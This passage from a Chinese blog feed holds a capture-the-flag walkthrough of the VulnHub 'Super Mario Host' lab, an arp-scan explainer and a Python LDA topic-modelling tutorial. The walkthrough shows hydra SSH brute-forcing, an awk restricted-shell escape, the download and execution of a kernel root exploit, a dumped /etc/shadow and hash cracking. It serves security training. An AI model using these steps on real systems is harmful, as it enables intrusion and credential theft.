&lt;p&gt;此处输入 username，根据返回值的内容推测用户名，经验证 luigi 返回 User Exists，证明用户存在。&lt;/p&gt;
&lt;h3&gt;SSH 爆破&lt;/h3&gt;
&lt;p&gt;使用 cewl 从网页内容生成自定义字典：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cewl -w supermario.txt -m 5 http://mario.supermariohost.local:8180/luigi.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据此字典文件，使用 john 生成变形密码文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john --wordlist=supermario.txt --stdout --rules &amp;gt; passwords
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 hydra 进行爆破，线程不要太高（线程过高会爆破出错误的密码），建议使用 10 线程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~/桌面# hydra -l luigi -P passwords 192.168.109.144 ssh -t 10

[DATA] attacking ssh://192.168.109.144:22/
[STATUS] 40.00 tries/min, 40 tries in 00:01h, 811 to do in 00:21h, 10 active
[22][ssh] host: 192.168.109.144   login: luigi   password: luigi1
1 of 1 target successfully completed, 1 valid password found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;破解出密码为 &lt;code&gt;luigi1&lt;/code&gt;，使用 SSH 登录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~/桌面# ssh luigi@192.168.109.144
The authenticity of host &apos;192.168.109.144 (192.168.109.144)&apos; can&apos;t be established.

luigi@192.168.109.144&apos;s password: 
You are in a limited shell.
Type &apos;?&apos; or &apos;help&apos; to get the list of allowed commands
luigi:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;受限 Shell 逃逸&lt;/h3&gt;
&lt;p&gt;登录后发现当前目录下存在文件 message：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;luigi:~$ cat message 
YOU BROTHER! YOU!! 
I had to see it coming!!
Not only you declare your love for Pricess Peach, my only love and reason of life (and lives, depending from the player), but you also mess with my server!
So here you go, in a limited shell! Now you can&apos;t do much, MUHAUHAUHAUHAA

Mario.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;马里奥把 luigi 的 Shell 限制成了白名单模式，输入 &lt;code&gt;help&lt;/code&gt; 查看可以使用的命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;luigi:~$ help
awk  cat  cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo  vim
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;白名单中的 awk 支持调用系统命令，使用 &lt;code&gt;awk &apos;BEGIN{system(&quot;/bin/bash&quot;)}&apos;&lt;/code&gt; 逃逸出完整 Shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;luigi:~$ awk &apos;BEGIN{system(&quot;/bin/bash&quot;)}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;内核提权&lt;/h3&gt;
&lt;p&gt;逃逸后身份仍是普通用户，继续提权。使用 linuxprivchecker 脚本检查提权路径，也可以通过 Exploit-DB 针对性搜索该版本内核的利用程序。靶机使用的是 &lt;strong&gt;Linux 3.13.0&lt;/strong&gt;，经搜索后发现两种利用方式：&lt;code&gt;https://www.exploit-db.com/exploits/37292&lt;/code&gt; 与 &lt;code&gt;https://www.exploit-db.com/exploits/37293&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;也可以在 Kali 上使用 &lt;code&gt;searchsploit&lt;/code&gt; 搜索：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~/桌面# searchsploit 3.13.0
---------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                      |  Path
                                                                                                     | (/usr/share/exploitdb/)
-----------------------------------------------------------------------------------------
Linux Kernel 3.13.0 &amp;lt; 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - &apos;overlayfs&apos; Local Privilege Escalatio | exploits/linux/local/37292.c
Linux Kernel 3.13.0 &amp;lt; 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - &apos;overlayfs&apos; Local Privilege Escalatio | exploits/linux/local/37293.txt
-----------------------------------------------------------------------------------------
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从靶机上直接下载 &lt;code&gt;37292.c&lt;/code&gt; 并编译执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;luigi@supermariohost:~$ wget https://www.exploit-db.com/download/37292
--2020-07-04 03:38:35--  https://www.exploit-db.com/download/37292
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [application/txt]
Saving to: ‘37292’

100%[======================================================&amp;gt;] 5,119       --.-K/s   in 0s     
2020-07-04 03:38:37 (946 MB/s) - ‘37292’ saved [5119/5119]

luigi@supermariohost:~$ mv 37292 37292.c	# 将文件改为 .c 文件
luigi@supermariohost:~$ gcc 37292.c -o rootshell
luigi@supermariohost:~$ ./rootshell
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami	# 提权成功
root
# ls /root
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  flag.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功获取 root 权限，&lt;code&gt;/root&lt;/code&gt; 目录下存在 &lt;code&gt;flag.zip&lt;/code&gt;，然而 flag 被加密。梳理所有线索，只剩一条未使用：&lt;strong&gt;I Love Peach&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;获取 flag&lt;/h3&gt;
&lt;p&gt;用该关键词作为压缩包密码尝试解压：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# unzip flag.zip
Archive:  flag.zip
[flag.zip] flag.txt password: 
  inflating: flag.txt                
# cat flag.txt  
Well done :D If you reached this it means you got root, congratulations.
Now, there are multiple ways to hack this machine. The goal is to get all the passwords of all the users in this machine. If you did it, then congratulations, I hope you had fun :D

Keep in touch on twitter through @mr_h4sh

Congratulations again!

mr_h4sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;压缩包密码正是 &lt;code&gt;ilovepeach&lt;/code&gt;。flag 提示真正的目标是拿到机器上所有用户的密码。将 flag.zip 传回攻击机，配合靶机上的 &lt;code&gt;/etc/shadow&lt;/code&gt; 密文一起破解：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# cp /root/flag.zip /var/www/html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;攻击机使用 &lt;code&gt;wget&lt;/code&gt; 下载：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~/桌面# wget http://192.168.109.144:8180/flag.zip
--2020-07-04 19:48:05--  http://192.168.109.144:8180/flag.zip
正在连接 192.168.109.144:8180... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：398 [application/zip]
正在保存至: “flag.zip”

flag.zip                            100%[=================================================&amp;gt;]     398  --.-KB/s  用时 0s      

2020-07-04 19:48:05 (99.4 MB/s) - 已保存 “flag.zip” [398/398])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获取靶机的 hash 密文，并将其保存至 hash.txt 中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# cat /etc/shadow
root:$6$ZmdseK46$FTvRqEZXdr3DCX2Vd6CXWmWAOJYIjcAI6XQathO3/wgvHEoyeP6DwL3NHZy903HXQ/F2uXiTXrhETX19/txbA1:17248:0:99999:7:::
mario:$6$WG.vWiw8$OhoMhuAHSqPYTu1wCEWNc4xoUyX6U/TrLlK.xyhRKZB3SyCtxMDSoQ6vioNvpNOu78kQVTbwTcHPQMIDM2CSJ.:17248:0:99999:7:::
luigi:$6$kAYr2OVy$1qBRKJIWqkpNohmMIP3r3H3yPDQ9UfUBcO4pahlXf6QfnqgW/XpKYlQD4jN6Cfn.3wKCWoM7gPbdIbnShFJD40:17233:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先前已经获取了网页中出现的关键词并放在了 supermario.txt 中，并由它生成了字典文件 passwords.txt。现在将新的信息也就是压缩包的密码 &lt;strong&gt;ilovepeach&lt;/strong&gt; 添加至 supermario.txt 中，重新生成字典文件并尝试破解密码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~/桌面# john --wordlist=supermario.txt  --stdout --rules &amp;gt; passwords.txt
Using default input encoding: UTF-8
Press &apos;q&apos; or Ctrl-C to abort, almost any other key for status
900p 0:00:00:00 100.00% (2020-07-06 09:23) 30000p/s Luiging
root@kali:~/桌面# john --wordlist=passwords.txt hash.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press &apos;q&apos; or Ctrl-C to abort, almost any other key for status
ilovepeach!      (mario)
ilovepeach!      (root)
luigi1           (luigi)
3g 0:00:00:00 DONE (2020-07-06 09:25) 5.263g/s 898.2p/s 2694c/s 2694C/s ilovepeach..About!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三个用户的密码全部破解完成，达成 flag 中设定的完整目标。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;VulnHub 详情页：https://www.vulnhub.com/entry/super-mario-host,401/&lt;/li&gt;
&lt;li&gt;提权脚本（EDB-37292）：https://www.exploit-db.com/exploits/37292&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>arp-scan 工具的工作原理与实践</title><link>https://blog.mal-suen.cn/posts/2020/06/181/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2020/06/181/</guid><description>arp-scan 是一款基于 ARP 协议的局域网主机发现工具，工作在 OSI 模型的数据链路层。其原理是向指定网段发送 ARP 请求包，强制目标主机返回其 MAC 地址，从而绕过防火墙对 ICMP（Ping）的拦截。该工具具备极强的穿透性和厂商识别能力，是网络管理员进行资产盘点、识别隐身设备及安全审计的高效利器。</description><pubDate>Tue, 30 Jun 2020 04:07:30 GMT</pubDate><content:encoded>&lt;h2&gt;什么是 arp-scan？&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;arp-scan&lt;/code&gt; 是一款在 Linux/Unix 环境下使用的命令行工具，专门用于通过 &lt;strong&gt;ARP（Address Resolution Protocol）&lt;/strong&gt; 协议探测本地局域网。由于它运行在 OSI 七层模型的第二层（数据链路层），它能够绕过防火墙的 ICMP 拦截，发现那些“隐身”的活跃设备。&lt;/p&gt;
&lt;h2&gt;工作原理&lt;/h2&gt;
&lt;p&gt;在以太网中，设备之间通信最终依赖的是 &lt;strong&gt;MAC 地址&lt;/strong&gt; 而非 IP 地址。&lt;code&gt;arp-scan&lt;/code&gt; 会向目标范围内的每一个 IP 地址发送一个 &lt;strong&gt;ARP Who-has&lt;/strong&gt; 查询包。&lt;/p&gt;
&lt;p&gt;根据协议规定，任何拥有该 IP 的设备&lt;strong&gt;必须&lt;/strong&gt;回复一个包含其 MAC 地址的 ARP 响应包（ARP Reply）。这种响应通常是内核层面的自动行为，大多数主机防火墙（如 Windows Firewall）不会拦截它，因为拦截了就没法上网了。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;arp-scan&lt;/code&gt; 接收这些响应，记录下对应的 MAC 地址，并根据其内置的 &lt;strong&gt;OUI（组织唯一标识符）数据库&lt;/strong&gt;，识别出该网卡是由哪家厂商（如 Apple、Huawei、Cisco）生产的。&lt;/p&gt;
&lt;h2&gt;安装与实战用法&lt;/h2&gt;
&lt;h3&gt;安装&lt;/h3&gt;
&lt;p&gt;在 Debian/Kali/Ubuntu 中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install arp-scan
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用命令&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;扫描本地网络&lt;/strong&gt;（最常用）： 自动识别当前网卡的网段并进行扫描。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo arp-scan --localnet
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;指定网卡与范围&lt;/strong&gt;： 在拥有多个网卡（如同时存在无线网卡 &lt;code&gt;wlan0&lt;/code&gt; 和以太网卡 &lt;code&gt;eth0&lt;/code&gt;）的环境下，必须手动指定接口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo arp-scan --interface=eth0 10.0.0.0/24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;自定义发包速率与重试&lt;/strong&gt;： 在网络拥堵或存在丢包时，增加重试次数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo arp-scan --retry=3 --interval=100 192.168.1.0/24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--retry=n&lt;/code&gt;：设置每个 IP 的重试次数，应对网络波动导致的丢包。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;--interval=ms&lt;/code&gt;：设置发包间隔。在高负载网络中，适当增大间隔可避免触发某些简单的网络风暴保护机制。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;arp-scan&lt;/code&gt; 凭借其在二层协议上的直接操作，成为了局域网资产发现中最可靠的工具之一。它不仅能发现那些屏蔽了 Ping 的主机，还能通过 MAC 地址直接识别设备背后的厂商背景，为网络安全审计提供了第一手原始数据。&lt;/p&gt;
</content:encoded></item><item><title>基于Python的LDA文档主题分布处理</title><link>https://blog.mal-suen.cn/posts/2018/05/19/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2018/05/19/</guid><description>本文详细介绍了如何利用 Python 及其强大的自然语言处理库实现 LDA（Latent Dirichlet Allocation） 隐狄利克雷分配模型，并深入探讨了如何提取与处理文档的主题分布。 LDA是一种用于文本分析的主题模型，作为一种‌无监督的主题模型‌，它适合需要‌主题发现‌和‌可解释性‌的场景，从文本数据中自动发现隐藏的主题结构‌。而且LDA模型简单、可解释性强，参数量可控，不容易过拟合‌。</description><pubDate>Sat, 12 May 2018 08:19:31 GMT</pubDate><content:encoded>&lt;h2&gt;什么是LDA？&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;LDA（Latent Dirichlet Allocation，隐含狄利克雷分布）&lt;strong&gt;是一种用于文本分析的主题模型，它可以帮助我们从大量文本中自动发现隐藏的&lt;/strong&gt;主题&lt;/strong&gt;。下面我用最通俗的方式解释这个模型。&lt;/p&gt;
&lt;p&gt;想象你有一堆文章（比如新闻、微博、论文等），LDA就像一个“主题探测器”，能自动找出这些文章都在讨论哪些主要话题。比如分析100篇体育新闻，LDA可能会发现这些文章主要围绕“足球”、“篮球”、“网球”等几个主题展开。&lt;/p&gt;
&lt;h3&gt;LDA的应用价值&lt;/h3&gt;
&lt;p&gt;在机器学习算法飞速发展的今天，LDA（潜在狄利克雷分布）仍然具有其独特的价值和意义，作为一种‌&lt;strong&gt;无监督的主题模型&lt;/strong&gt;‌，它适合需要‌&lt;strong&gt;主题发现&lt;/strong&gt;‌和‌&lt;strong&gt;可解释性&lt;/strong&gt;‌的场景，从文本数据中自动发现隐藏的主题结构‌。而且LDA模型简单、可解释性强，参数量可控，不容易过拟合‌。&lt;/p&gt;
&lt;p&gt;LDA在实际中仍被广泛应用于多个领域：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;‌&lt;strong&gt;文本分类&lt;/strong&gt;‌：通过训练LDA模型推断文档主题分布，进行分类‌&lt;/li&gt;
&lt;li&gt;‌&lt;strong&gt;主题建模&lt;/strong&gt;‌：发现文本数据中隐藏的主题结构，揭示潜在模式‌&lt;/li&gt;
&lt;li&gt;‌&lt;strong&gt;舆情分析&lt;/strong&gt;‌：从社交媒体中发现热门话题和公众关注点‌&lt;/li&gt;
&lt;li&gt;‌&lt;strong&gt;学术研究&lt;/strong&gt;‌：分析大量论文的研究趋势和领域发展‌&lt;/li&gt;
&lt;li&gt;‌&lt;strong&gt;政策分析&lt;/strong&gt;‌：对政策文本进行主题提取和量化分析&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;LDA如何工作？&lt;/h3&gt;
&lt;p&gt;其核心逻辑可简化为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;‌&lt;strong&gt;主题即词分布&lt;/strong&gt;‌
每个主题被定义为一组相关词的概率组合（如“教育”主题包含“学生”“课程”等词，并标注各自出现概率）。&lt;/li&gt;
&lt;li&gt;‌&lt;strong&gt;文档生成过程&lt;/strong&gt;‌
假设每篇文档通过以下步骤生成：
&lt;ul&gt;
&lt;li&gt;随机选择多个主题（如30%主题A、70%主题B）；&lt;/li&gt;
&lt;li&gt;从每个选中主题的词表中按概率抽词，最终组成文档。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;‌&lt;strong&gt;实际输出&lt;/strong&gt;‌
&lt;ul&gt;
&lt;li&gt;‌&lt;strong&gt;主题分析&lt;/strong&gt;‌：展示每个主题下的高频词（如主题1：“教育”“学习”“教师”）；&lt;/li&gt;
&lt;li&gt;‌&lt;strong&gt;文档分析&lt;/strong&gt;‌：统计每篇文档中各主题的占比（如文档1：40%主题A、60%主题B）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;无需人工标注数据，LDA能自动发现文本中的潜在结构，但需预先设定主题数量（K值）。&lt;/p&gt;
&lt;h2&gt;代码实现的分层逻辑&lt;/h2&gt;
&lt;p&gt;代码通过‌&lt;strong&gt;面向对象设计&lt;/strong&gt;‌，将LDA建模的全流程拆解为模块化步骤，方便理解与复用。
&lt;a href=&quot;https://github.com/Mal-Suen/LDA-text-topic-modeling&quot;&gt;点击此处&lt;/a&gt;查看完整Python代码。&lt;/p&gt;
&lt;h3&gt;初始化：设置模型参数&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def __init__(self, num_topics=2, passes=10, random_state=42):
    self.num_topics = num_topics  # 主题数量（如2个主题）
    self.passes = passes          # 训练迭代次数（如10次）
    self.random_state = random_state  # 随机种子（确保结果可复现）
    self.dictionary = None        # 词典（词汇到ID的映射）
    self.corpus = None            # 语料库（文档的词频统计）
    self.lda_model = None         # LDA模型对象
    self.documents = []          # 文档列表（原始文本）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;数据加载：从文件读取文本&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def load_corpus(self, file_path):
    &quot;&quot;&quot;加载语料数据&quot;&quot;&quot;
    try:
        with open(file_path, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
            self.documents = [line.strip().split() for line in f if line.strip()]
        logging.info(f&quot;成功加载 {len(self.documents)} 篇文档&quot;)
        return self.documents
    except FileNotFoundError:
        logging.error(f&quot;文件不存在: {file_path}&quot;)
        return []
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;特征工程：构建词典与语料库&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def build_dictionary_and_corpus(self):
    &quot;&quot;&quot;构建词典和语料库&quot;&quot;&quot;
    if not self.documents:
        logging.error(&quot;没有可用的文档数据&quot;)
        return None, None

    # 创建词典，词典：词汇→ID映射
    self.dictionary = corpora.Dictionary(self.documents)
    logging.info(f&quot;词典大小: {len(self.dictionary)}&quot;)

    # 构建语料库，语料库：文档→词频统计
    self.corpus = [self.dictionary.doc2bow(doc) for doc in self.documents]
    return self.dictionary, self.corpus
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;‌**词典（&lt;code&gt;Dictionary&lt;/code&gt;）**‌：为所有文档中的词汇分配唯一ID，如&lt;code&gt;{&quot;机器学习&quot;: 1, &quot;主题建模&quot;: 2, &quot;LDA&quot;: 3}&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;‌**语料库（&lt;code&gt;Corpus&lt;/code&gt;）**‌：将每篇文档转化为“词ID-词频”的稀疏表示，如&lt;code&gt;[(1, 2), (2, 1), (3, 3)]&lt;/code&gt;（表示文档中“机器学习”出现2次，“主题建模”出现1次，“LDA”出现3次）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;模型训练：构建LDA模型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def train_model(self):
    &quot;&quot;&quot;训练LDA模型&quot;&quot;&quot;
    if self.corpus is None:
        self.build_dictionary_and_corpus()

    self.lda_model = models.LdaModel(
        corpus=self.corpus,
        id2word=self.dictionary,
        num_topics=self.num_topics,
        passes=self.passes,
        random_state=self.random_state
    )
    return self.lda_model
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;‌&lt;strong&gt;LDA模型&lt;/strong&gt;‌：通过“词频统计”学习“文档-主题”“主题-词语”的概率分布，最终生成主题模型；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;参数作用&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;num_topics&lt;/code&gt;：控制主题数量（如2个主题）；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;passes&lt;/code&gt;：训练迭代次数（如10次，影响模型收敛程度）；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;random_state&lt;/code&gt;：随机种子（确保不同运行结果一致）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;结果分析：提取主题关键词与文档主题分布&lt;/h3&gt;
&lt;h4&gt;提取主题关键词&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;def get_topic_keywords(self, top_n=5):
    &quot;&quot;&quot;获取主题关键词&quot;&quot;&quot;
    if self.lda_model is None:
        self.train_model()

    topic_keywords = {}
    for topic_id in range(self.num_topics):
        topic_terms = self.lda_model.show_topic(topic_id, topn=top_n)
        topic_keywords[topic_id] = topic_terms

    return topic_keywords
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;‌&lt;strong&gt;功能&lt;/strong&gt;‌：获取每个主题下概率最高的&lt;code&gt;top_n&lt;/code&gt;个词语（如前5个），用于理解主题内容；&lt;/li&gt;
&lt;li&gt;‌&lt;strong&gt;示例&lt;/strong&gt;‌：若主题0的关键词为&lt;code&gt;[&quot;机器学习&quot;, &quot;算法&quot;, &quot;数据&quot;]&lt;/code&gt;，则该主题可解释为“机器学习相关主题”。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;分析文档主题分布&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;def analyze_document_topics(self, top_n=3):
    &quot;&quot;&quot;分析文档主题分布&quot;&quot;&quot;
    if self.lda_model is None:
        self.train_model()

    doc_topics = {}
    for doc_id in range(len(self.documents)):
        doc_bow = self.dictionary.doc2bow(self.documents[doc_id])
        topic_dist = self.lda_model.get_document_topics(
            doc_bow,
            minimum_probability=0.0
        )
        top_topics = sorted(topic_dist, key=lambda x: x[1], reverse=True)[:top_n]
        doc_topics[doc_id] = top_topics

    return doc_topics
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;‌&lt;strong&gt;功能&lt;/strong&gt;‌：分析每篇文档属于各主题的概率，输出“文档-主题”的关联关系；&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;模型评估：一致性得分（Coherence）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def evaluate_model(self):
    &quot;&quot;&quot;评估模型性能&quot;&quot;&quot;
    if self.lda_model is None:
        self.train_model()

    coherence_model = CoherenceModel(
        model=self.lda_model,
        texts=self.documents,
        dictionary=self.dictionary,
        coherence=&apos;c_v&apos;
    )
    coherence_score = coherence_model.get_coherence()
    return coherence_score
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;‌&lt;strong&gt;一致性得分&lt;/strong&gt;‌：衡量主题质量的指标（值越高，主题越“连贯”）；&lt;/li&gt;
&lt;li&gt;‌&lt;strong&gt;原理&lt;/strong&gt;‌：评估主题内词语的语义相关性，分数越高说明主题更合理。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;使用pyLDAvis生成可视化&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 使用pyLDAvis生成可视化
vis_data = gensimvis.prepare(self.lda_model, self.corpus, self.dictionary)  # 生成可视化数据

# 保存可视化为HTML文件（可选）
pyLDAvis.save_html(vis_data, &quot;lda_visualization.html&quot;)  # 保存到当前目录

# 直接展示可视化（可选，需支持HTML渲染的环境）
pyLDAvis.display(vis_data)  # 在Jupyter Notebook等支持HTML的环境中直接展示
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;结果演示&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;测试数据&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;新春 备 年货 新年 联欢晚会
新春 节目单 春节 联欢晚会 红火
大盘 下跌 股市 散户  
下跌 股市 赚钱  
金猴 新春 红火 新年  
新车 新年 年货 新春  
股市 反弹 下跌  
股市 散户 赚钱  
新年 看 春节 联欢晚会
大盘 下跌 散户
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;输出结果&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--- 主题关键词 ---
主题0: 新春, 新年, 联欢晚会, 年货, 春节
主题1: 下跌, 股市, 散户, 大盘, 赚钱

--- 文档主题分布 ---
文档0: 主题0(0.915) 主题1(0.085) 
文档1: 主题0(0.914) 主题1(0.086) 
文档2: 主题1(0.899) 主题0(0.101) 
文档3: 主题1(0.874) 主题0(0.126) 
文档4: 主题0(0.897) 主题1(0.103) 
文档5: 主题0(0.897) 主题1(0.103) 
文档6: 主题1(0.873) 主题0(0.127) 
文档7: 主题1(0.874) 主题0(0.126) 
文档8: 主题0(0.914) 主题1(0.086) 
文档9: 主题1(0.874) 主题0(0.126) 

--- 模型评估 ---
主题一致性得分: 0.5332
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>